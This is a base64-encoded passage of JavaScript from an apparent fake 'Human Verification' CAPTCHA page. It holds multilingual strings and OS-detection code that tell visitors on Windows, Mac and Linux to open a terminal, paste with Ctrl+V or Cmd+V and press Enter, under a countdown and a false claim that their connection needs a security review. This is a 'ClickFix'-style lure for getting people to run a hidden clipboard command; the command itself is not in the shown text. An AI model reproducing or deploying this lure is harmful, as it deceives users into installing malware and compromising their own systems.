pZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGRlOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0ZcdTAwZmNocmVuIFNpZSBkaWUgU2Nocml0dGUgYXVmIElocmVyIE1hYy1UYXN0YXR1ciBkdXJjaCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidkYW5uIEVudGVyIGRyXHUwMGZjY2tlbicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0RpZSBDbWQtVGFzdGUgKFx1MjMxOCkgYmVmaW5kZXQgc2ljaCBuZWJlbiBkZXIgTGVlcnRhc3RlLiBEclx1MDBmY2NrZW4gU2llIENtZCtMZWVydGFzdGUgZlx1MDBmY3IgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGZyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0VmZmVjdHVleiBsZXMgXHUwMGU5dGFwZXMgc3VyIHZvdHJlIGNsYXZpZXIgTWFjJyxzdGVwMTonPGI+Q21kICsgRXNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidwdWlzIEVudHJcdTAwZTllJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRyXHUwMGU5ZSBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonTGEgdG91Y2hlIENtZCAoXHUyMzE4KSBlc3QgXHUwMGUwIGNcdTAwZjR0XHUwMGU5IGRlIGxhIGJhcnJlIGRcdTIwMTllc3BhY2UuIENtZCtFc3BhY2Ugb3V2cmUgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGVzOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1JlYWxpemEgbG9zIHBhc29zIGVuIHR1IHRlY2xhZG8gTWFjJyxzdGVwMTonPGI+Q21kICsgRXNwYWNpbzwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonbHVlZ28gRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidMYSB0ZWNsYSBDbWQgKFx1MjMxOCkgZXN0XHUwMGUxIGp1bnRvIGEgbGEgYmFycmEgZXNwYWNpYWRvcmEuIENtZCtFc3BhY2lvIGFicmUgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGl0OiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0VzZWd1aSBpIHBhc3NhZ2dpIHN1bGxhIHRhc3RpZXJhIE1hYycsc3RlcDE6JzxiPkNtZCArIFNwYXppbzwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDoncG9pIEludmlvJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5JbnZpbyBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonSWwgdGFzdG8gQ21kIChcdTIzMTgpIFx1MDBlOCBhY2NhbnRvIGFsbGEgYmFycmEgc3BhemlhdHJpY2UuIENtZCtTcGF6aW8gYXByZSBTcG90bGlnaHQuJ30sDQogICAgICAgICAgICAgICAgcHQ6IHtrZXlib2FyZEluc3RydWN0aW9uczonRXhlY3V0ZSBhcyBldGFwYXMgbm8gdGVjbGFkbyBNYWMnLHN0ZXAxOic8Yj5DbWQgKyBFc3BhXHUwMGU3bzwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonZGVwb2lzIEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQSB0ZWNsYSBDbWQgKFx1MjMxOCkgZXN0XHUwMGUxIGFvIGxhZG8gZGEgYmFycmEgZGUgZXNwYVx1MDBlN28uIENtZCtFc3BhXHUwMGU3byBhYnJlIG8gU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIHpoOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1OGJmN1x1NTcyOCBNYWMgXHU5NTJlXHU3NmQ4XHU0ZTBhXHU2MjY3XHU4ODRjXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0JyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J1x1NzEzNlx1NTQwZVx1NjMwOSBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MjMxOCAoQ29tbWFuZCkgXHU5NTJlXHU1NzI4XHU3YTdhXHU2ODNjXHU5NTJlXHU2NWMxXHUzMDAyXHU2MzA5IENtZCtTcGFjZSBcdTYyNTNcdTVmMDAgU3BvdGxpZ2h0XHUzMDAyJ30sDQogICAgICAgICAgICAgICAgamE6IHtrZXlib2FyZEluc3RydWN0aW9uczonTWFjXHUzMDZlXHUzMGFkXHUzMGZjXHUzMGRjXHUzMGZjXHUzMGM5XHUzMDY3XHU2MjRiXHU5ODA2XHUzMDkyXHU1YjlmXHU4ODRjXHUzMDU3XHUzMDY2XHUzMDRmXHUzMDYwXHUzMDU1XHUzMDQ0JyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J0VudGVyXHUzMDkyXHU2MmJjXHUzMDU5JyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonXHUyMzE4IChDb21tYW5kKSBcdTMwYWRcdTMwZmNcdTMwNmZcdTMwYjlcdTMwZGFcdTMwZmNcdTMwYjlcdTMwYWRcdTMwZmNcdTMwNmVcdTk2YTNcdTMwNjdcdTMwNTlcdTMwMDJDbWQrU3BhY2VcdTMwNjcgU3BvdGxpZ2h0IFx1MzA5Mlx1OTU4Ylx1MzA0ZFx1MzA3ZVx1MzA1OVx1MzAwMid9LA0KICAgICAgICAgICAgICAgIGtvOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J01hYyBcdWQwYTRcdWJjZjRcdWI0ZGNcdWM1ZDBcdWMxMWMgXHViMmU4XHVhY2M0XHViOTdjIFx1YzIxOFx1ZDU4OVx1ZDU1OFx1YzEzOFx1YzY5NCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidcdWM3ODVcdWI4MjUgXHVkNmM0IEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonXHUyMzE4KENvbW1hbmQpIFx1ZDBhNFx1YjI5NCBcdWMyYTRcdWQzOThcdWM3NzRcdWMyYTRcdWJjMTQgXHVjNjJjXHViODZkXHVjNWQwIFx1Yzc4OFx1YzJiNVx1YjJjOFx1YjJlNC4gQ21kK1NwYWNlXHViODVjIFNwb3RsaWdodFx1Yzc0NCBcdWM1ZmRcdWIyYzhcdWIyZTQuJ30sDQogICAgICAgICAgICAgICAgdHI6IHtrZXlib2FyZEluc3RydWN0aW9uczonQWRcdTAxMzFtbGFyXHUwMTMxIE1hYyBrbGF2eWVuaXpkZSBnZXJcdTAwZTdla2xlXHUwMTVmdGlyaW4nLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonc29ucmEgRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidcdTIzMTggKENvbW1hbmQpIHR1XHUwMTVmdSBib1x1MDE1Zmx1ayB0dVx1MDE1ZnVudW4geWFuXHUwMTMxbmRhZFx1MDEzMXIuIENtZCtTcGFjZSBTcG90bGlnaHRcdTIwMTlcdTAxMzEgYVx1MDBlN2FyLid9LA0KICAgICAgICAgICAgICAgIGFyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MDY0Nlx1MDY0MVx1MDY1MVx1MDYzMCBcdTA2MjdcdTA2NDRcdTA2MmVcdTA2MzdcdTA2NDhcdTA2MjdcdTA2MmEgXHUwNjM5XHUwNjQ0XHUwNjQ5IFx1MDY0NFx1MDY0OFx1MDYyZFx1MDYyOSBcdTA2NDVcdTA2NDFcdTA2MjdcdTA2MmFcdTA2NGFcdTA2MmQgTWFjJyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J1x1MDYyYlx1MDY0NSBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MDY0NVx1MDY0MVx1MDYyYVx1MDYyN1x1MDYyZCBcdTIzMTggKENvbW1hbmQpIFx1MDYyOFx1MDYyY1x1MDYyN1x1MDY0Nlx1MDYyOCBcdTA2NDVcdTA2NDNcdTA2MjdcdTA2NDYgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjMzXHUwNjI3XHUwNjQxXHUwNjI5LiBDbWQrU3BhY2UgXHUwNjRhXHUwNjQxXHUwNjJhXHUwNjJkIFNwb3RsaWdodC4nfQ0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIGxpbnV4OiB7DQogICAgICAgICAgICAgICAgZW46IHtrZXlib2FyZEluc3RydWN0aW9uczonUGVyZm9ybSB0aGUgc3RlcHMgb24geW91ciBMaW51eCBrZXlib2FyZCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvciBvcGVuIFRlcm1pbmFsIGZyb20gbWVudScsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1Qgb3BlbnMgVGVybWluYWwgb24gVWJ1bnR1LCBHTk9NRSwgS0RFLCBhbmQgbW9zdCBMaW51eCBkZXNrdG9wcy4nfSwNCiAgICAgICAgICAgICAgICBkZToge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidGXHUwMGZjaHJlbiBTaWUgZGllIFNjaHJpdHRlIGF1ZiBJaHJlciBMaW51eC1UYXN0YXR1ciBkdXJjaCcsc3RlcDE6JzxiPlN0cmcgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvZGVyIFRlcm1pbmFsIFx1MDBmY2JlciBkYXMgTWVuXHUwMGZjIFx1MDBmNmZmbmVuJyxzdGVwMzonPGI+U3RyZyArIFVtc2NoYWx0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonU3RyZytBbHQrVCBcdTAwZjZmZm5ldCBkYXMgVGVybWluYWwgdW50ZXIgVWJ1bnR1LCBHTk9NRSwgS0RFIHVuZCBkZW4gbWVpc3RlbiBMaW51eC1EZXNrdG9wcy4nfSwNCiAgICAgICAgICAgICAgICBmcjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFZmZlY3R1ZXogbGVzIFx1MDBlOXRhcGVzIHN1ciB2b3RyZSBjbGF2aWVyIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J291IG91dnJleiBUZXJtaW5hbCBkZXB1aXMgbGUgbWVudScsc3RlcDM6JzxiPkN0cmwgKyBNYWogKyBWPC9iPicsc3RlcDQ6JzxiPkVudHJcdTAwZTllIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIG91dnJlIGxlIHRlcm1pbmFsIHN1ciBVYnVudHUsIEdOT01FLCBLREUgZXQgbGEgcGx1cGFydCBkZXMgYnVyZWF1eCBMaW51eC4nfSwNCiAgICAgICAgICAgICAgICBlczoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidSZWFsaXphIGxvcyBwYXNvcyBlbiB0dSB0ZWNsYWRvIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J28gYWJyZSBUZXJtaW5hbCBkZXNkZSBlbCBtZW5cdTAwZmEnLHN0ZXAzOic8Yj5DdHJsICsgTWF5XHUwMGZhcyArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgYWJyZSBsYSB0ZXJtaW5hbCBlbiBVYnVudHUsIEdOT01FLCBLREUgeSBsYSBtYXlvclx1MDBlZGEgZGUgZXNjcml0b3Jpb3MgTGludXguJ30sDQogICAgICAgICAgICAgICAgaXQ6IHtrZXlib2FyZEluc3RydWN0aW9uczonRXNlZ3VpIGkgcGFzc2FnZ2kgc3VsbGEgdGFzdGllcmEgTGludXgnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonbyBhcHJpIFRlcm1pbmFsIGRhbCBtZW51JyxzdGVwMzonPGI+Q3RybCArIE1haXVzYyArIFY8L2I+JyxzdGVwNDonPGI+SW52aW8gXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgYXByZSBpbCB0ZXJtaW5hbGUgc3UgVWJ1bnR1LCBHTk9NRSwgS0RFIGUgbGEgbWFnZ2lvciBwYXJ0ZSBkZWkgZGVza3RvcCBMaW51eC4nfSwNCiAgICAgICAgICAgICAgICBwdDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFeGVjdXRlIGFzIGV0YXBhcyBubyB0ZWNsYWRvIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J291IGFicmEgbyBUZXJtaW5hbCBwZWxvIG1lbnUnLHN0ZXAzOic8Yj5DdHJsICsgU2hpZnQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIGFicmUgbyB0ZXJtaW5hbCBubyBVYnVudHUsIEdOT01FLCBLREUgZSBuYSBtYWlvcmlhIGRvcyBkZXNrdG9wcyBMaW51eC4nfSwNCiAgICAgICAgICAgICAgICB6aDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdThiZjdcdTU3MjggTGludXggXHU5NTJlXHU3NmQ4XHU0ZTBhXHU2MjY3XHU4ODRjXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J1x1NjIxNlx1NGVjZVx1ODNkY1x1NTM1NVx1NjI1M1x1NWYwMCBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgXHU1M2VmXHU1NzI4IFVidW50dVx1MzAwMUdOT01FXHUzMDAxS0RFIFx1N2I0OVx1NTkyN1x1NTkxYVx1NjU3MCBMaW51eCBcdTY4NGNcdTk3NjJcdTRlMGFcdTYyNTNcdTVmMDBcdTdlYzhcdTdhZWZcdTMwMDInfSwNCiAgICAgICAgICAgICAgICBqYToge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidMaW51eFx1MzA2ZVx1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1MzA2N1x1NjI0Ylx1OTgwNlx1MzA5Mlx1NWI5Zlx1ODg0Y1x1MzA1N1x1MzA2Nlx1MzA0Zlx1MzA2MFx1MzA1NVx1MzA0NCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidcdTMwN2VcdTMwNWZcdTMwNmZcdTMwZTFcdTMwY2JcdTMwZTVcdTMwZmNcdTMwNGJcdTMwODkgVGVybWluYWwgXHUzMDkyXHU5NThiXHUzMDRmJyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBcdTMwNjcgVWJ1bnR1XHUzMDAxR05PTUVcdTMwMDFLREUgXHU3YjQ5XHUzMDZlXHU1OTI3XHUzMDRkXHUzMDZhIExpbnV4IFx1MzBjN1x1MzBiOVx1MzBhZlx1MzBjOFx1MzBjM1x1MzBkN1x1MzA2N1x1MzBiZlx1MzBmY1x1MzBkZlx1MzBjYVx1MzBlYlx1MzA5Mlx1OTU4Ylx1MzA0ZFx1MzA3ZVx1MzA1OVx1MzAwMid9LA0KICAgICAgICAgICAgICAgIGtvOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0xpbnV4IFx1ZDBhNFx1YmNmNFx1YjRkY1x1YzVkMFx1YzExYyBcdWIyZThcdWFjYzRcdWI5N2MgXHVjMjE4XHVkNTg5XHVkNTU4XHVjMTM4XHVjNjk0JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J1x1YjYxMFx1YjI5NCBcdWJhNTRcdWIyNzRcdWM1ZDBcdWMxMWMgVGVybWluYWwgXHVjMmU0XHVkNTg5JyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVFx1YjI5NCBVYnVudHUsIEdOT01FLCBLREUgXHViNGYxIFx1YjMwMFx1YmQ4MFx1YmQ4NFx1Yzc1OCBMaW51eCBcdWIzNzBcdWMyYTRcdWQwNmNcdWQxYjFcdWM1ZDBcdWMxMWMgXHVkMTMwXHViYmY4XHViMTEwXHVjNzQ0IFx1YzVmZFx1YjJjOFx1YjJlNC4nfSwNCiAgICAgICAgICAgICAgICB0cjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidBZFx1MDEzMW1sYXJcdTAxMzEgTGludXgga2xhdnllbml6ZGUgZ2VyXHUwMGU3ZWtsZVx1MDE1ZnRpcmluJyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J3ZleWEgbWVuXHUwMGZjZGVuIFRlcm1pbmFsIGFcdTAwZTdcdTAxMzFuJyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCwgVWJ1bnR1LCBHTk9NRSwgS0RFIHZlIFx1MDBlN29cdTAxMWZ1IExpbnV4IG1hc2FcdTAwZmNzdFx1MDBmY25kZSB0ZXJtaW5hbGkgYVx1MDBlN2FyLid9LA0KICAgICAgICAgICAgICAgIGFyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MDY0Nlx1MDY0MVx1MDY1MVx1MDYzMCBcdTA2MjdcdTA2NDRcdTA2MmVcdTA2MzdcdTA2NDhcdTA2MjdcdTA2MmEgXHUwNjM5XHUwNjQ0XHUwNjQ5IFx1MDY0NFx1MDY0OFx1MDYyZFx1MDYyOSBcdTA2NDVcdTA2NDFcdTA2MjdcdTA2MmFcdTA2NGFcdTA2MmQgTGludXgnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonXHUwNjIzXHUwNjQ4IFx1MDYyN1x1MDY0MVx1MDYyYVx1MDYyZCBUZXJtaW5hbCBcdTA2NDVcdTA2NDYgXHUwNjI3XHUwNjQ0XHUwNjQyXHUwNjI3XHUwNjI2XHUwNjQ1XHUwNjI5JyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBcdTA2NGFcdTA2NDFcdTA2MmFcdTA2MmQgXHUwNjI3XHUwNjQ0XHUwNjM3XHUwNjMxXHUwNjQ1XHUwNjRhXHUwNjMyXHUwNjI3XHUwNjQ0IFx1MDYzOVx1MDY0NFx1MDY0OSBVYnVudHUgXHUwNjQ4IEdOT01FIFx1MDY0OCBLREUgXHUwNjQ4XHUwNjQ1XHUwNjM5XHUwNjM4XHUwNjQ1IFx1MDYyM1x1MDYzM1x1MDYzN1x1MDYyZCBMaW51eC4nfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KDQogICAgICAgIHZhciBTVVBQT1JURURfTEFOR1MgPSBbJ2VuJywgJ2RlJywgJ2ZyJywgJ2VzJywgJ2l0JywgJ3B0JywgJ3poJywgJ2phJywgJ2tvJywgJ3RyJywgJ2FyJ107DQoNCiAgICAgICAgZnVuY3Rpb24gZ2V0QnJvd3Nlckxhbmd1YWdlQ29kZSgpIHsNCiAgICAgICAgICAgIHZhciBicm93c2VyTGFuZ3VhZ2VzID0gKG5hdmlnYXRvci5sYW5ndWFnZXMgJiYgbmF2aWdhdG9yLmxhbmd1YWdlcy5sZW5ndGggPw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbmF2aWdhdG9yLmxhbmd1YWdlcyA6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbbmF2aWdhdG9yLmxhbmd1YWdlIHx8ICdlbiddKQ0KICAgICAgICAgICAgICAgIC5tYXAoZnVuY3Rpb24obGFuZykgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gU3RyaW5nKGxhbmcgfHwgJycpLnRvTG93ZXJDYXNlKCkuc3BsaXQoJy0nKVswXTsNCiAgICAgICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBicm93c2VyTGFuZ3VhZ2VzLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgaWYgKFNVUFBPUlRFRF9MQU5HUy5pbmRleE9mKGJyb3dzZXJMYW5ndWFnZXNbaV0pICE9PSAtMSkgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gYnJvd3Nlckxhbmd1YWdlc1tpXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHJldHVybiAnZW4nOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gbWVyZ2VPc0luc3RydWN0aW9uU3RlcHMoc3RyaW5ncywgbGFuZ0NvZGUpIHsNCiAgICAgICAgICAgIHZhciBvcyA9IFRBUkdFVF9PUEVSQVRJTkdfU1lTVEVNIHx8IGRldGVjdFZpc2l0b3JPcygpOw0KICAgICAgICAgICAgaWYgKG9zID09PSAnd2luZG93cycpIHsNCiAgICAgICAgICAgICAgICBzdHJpbmdzLnN0ZXBLZXlIZWxwID0gc3RyaW5ncy53aW5kb3dzS2V5SGVscDsNCiAgICAgICAgICAgICAgICByZXR1cm4gc3RyaW5nczsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgdmFyIHBhY2sgPSBPU19JTlNUUlVDVElPTl9QQUNLU1tvc107DQogICAgICAgICAgICBpZiAoIXBhY2spIHsNCiAgICAgICAgICAgICAgICBzdHJpbmdzLnN0ZXBLZXlIZWxwID0gc3RyaW5ncy53aW5kb3dzS2V5SGVscDsNCiAgICAgICAgICAgICAgICByZXR1cm4gc3RyaW5nczsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgdmFyIG92ZXJsYXkgPSBwYWNrW2xhbmdDb2RlXSB8fCBwYWNrLmVuOw0KICAgICAgICAgICAgaWYgKCFvdmVybGF5KSB7DQogICAgICAgICAgICAgICAgc3RyaW5ncy5zdGVwS2V5SGVscCA9IHN0cmluZ3Mud2luZG93c0tleUhlbHA7DQogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZvciAodmFyIGtleSBpbiBvdmVybGF5KSB7DQogICAgICAgICAgICAgICAgaWYgKG92ZXJsYXkuaGFzT3duUHJvcGVydHkoa2V5KSkgew0KICAgICAgICAgICAgICAgICAgICBzdHJpbmdzW2tleV0gPSBvdmVybGF5W2tleV07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBzdHJpbmdzLnN0ZXBLZXlIZWxwID0gb3ZlcmxheS5zdGVwS2V5SGVscCB8fCBzdHJpbmdzLndpbmRvd3NLZXlIZWxwOw0KICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBidWlsZFN0ZXAySHRtbCh0cmFuc2xhdGlvbnMpIHsNCiAgICAgICAgICAgIHZhciBodG1sID0gdHJhbnNsYXRpb25zLnN0ZXAyIHx8ICcnOw0KICAgICAgICAgICAgaWYgKHRyYW5zbGF0aW9ucy5zdGVwMkNoaXApIHsNCiAgICAgICAgICAgICAgICBodG1sICs9ICc8c3BhbiBjbGFzcz0idGVybS1jaGlwIj4nICsgdHJhbnNsYXRpb25zLnN0ZXAyQ2hpcCArICc8L3NwYW4+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBodG1sOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gZ2V0VHJhbnNsYXRlZFN0cmluZ3MoKSB7DQogICAgICAgICAgICB2YXIgdHJhbnNsYXRpb25zID0ge2VuOntub3RSb2JvdFRleHQ6IkknbSBub3QgYSByb2JvdCIsdmVyaWZ5aW5nVGV4dDonVmVyaWZ5aW5nLi4uJyx2ZXJpZmljYXRpb25UaXRsZTonSHVtYW4gVmVyaWZpY2F0aW9uJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonQ29tcGxldGUgdGhlIHN0ZXBzIGJlbG93JyxrZXlib2FyZEluc3RydWN0aW9uczonUGVyZm9ybSB0aGUgc3RlcHMgb24geW91ciBrZXlib2FyZCcsdGltZVJlbWFpbmluZzonVGltZSBSZW1haW5pbmcnLHdhcm5pbmczMFNlY29uZHM6J0xlc3MgdGhhbiAzMCBzZWNvbmRzIHJlbWFpbmluZyEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonb3IgY2hvb3NlIFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1ByaXZhY3knLHRlcm1zTGluazonVGVybXMnLHNlY3VyaXR5TWVzc2FnZTonbmVlZHMgdG8gcmV2aWV3IHRoZSBzZWN1cml0eSBvZiB5b3VyIGNvbm5lY3Rpb24gYmVmb3JlIHByb2NlZWRpbmcuJyx3aW5kb3dzS2V5SGVscDonVGhpcyBpcyB0aGUgV2luZG93cyBrZXksIGxvY2F0ZWQgYXQgdGhlIGJvdHRvbSBvZiB5b3VyIGtleWJvYXJkIGJldHdlZW4gQ3RybCBhbmQgQWx0LCB1bmRlciB0aGUgWiBrZXknfSxkZTp7bm90Um9ib3RUZXh0OidJY2ggYmluIGtlaW4gUm9ib3RlcicsdmVyaWZ5aW5nVGV4dDonXHUwMGRjYmVycHJcdTAwZmNmdW5nXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonTWVuc2NobGljaGUgVmVyaWZpemllcnVuZycsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0ZcdTAwZmNocmVuIFNpZSBkaWUgZm9sZ2VuZGVuIFNjaHJpdHRlIGF1cycsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0ZcdTAwZmNocmVuIFNpZSBkaWUgU2Nocml0dGUgYXVmIElocmVyIFRhc3RhdHVyIGR1cmNoJyx0aW1lUmVtYWluaW5nOidWZXJibGVpYmVuZGUgWmVpdCcsd2FybmluZzMwU2Vjb25kczonV2VuaWdlciBhbHMgMzAgU2VrdW5kZW4hJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J29kZXIgVGVybWluYWwnLHN0ZXAzOic8Yj5TdHJnICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonRGF0ZW5zY2h1dHonLHRlcm1zTGluazonQmVkaW5ndW5nZW4nLHNlY3VyaXR5TWVzc2FnZTonbXVzcyBkaWUgU2ljaGVyaGVpdCBJaHJlciBWZXJi